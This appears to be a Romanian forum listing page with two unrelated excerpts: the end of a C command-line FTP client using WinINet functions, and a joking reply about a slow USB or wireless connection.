printf("Eroare: %d", dwe); break; /* intrerupe bucla */ case 'p': /* put, incarca fisiere */ if(FtpPutFileA(hCon, argv, argv, FTP_TRANSFER_TYPE_BINARY, NULL)==1) printf("Comanda: OK"); else printf("Eroare: %d", dwe); break; /* in caz ca parametrii sunt incorecti se va face /* apel functiei ajutor(); */ default: ajutor(argv); } /* se vor inchide cele doua Handle */ InternetCloseHandle(hSesiune); InternetCloseHandle(hCon); exit(0); /* iesire */ } ======= Din pacate va pot arata doar poza cu help-ul...
20.02.200731.2KB
aiurea, incearca sa te conectezi prin cablu normal nu usb ,si la mine e lent ca dracu prin usb,laaiurea, incearca sa te conectezi prin cablu normal nu usb ,si la mine e lent ca dracu prin usb,la fel si prin wireless..plm imi e ciudat faptul ca merge doar 10 minute iar apoi devine lent..hmmm o fi batran si el si nu-l tine mai mult...asai la batranete..si nu uita ca la toti ne vine randul lol - ai incercat cu viagra? :rotfl:
11.10.20065.1KB
InapoiInainte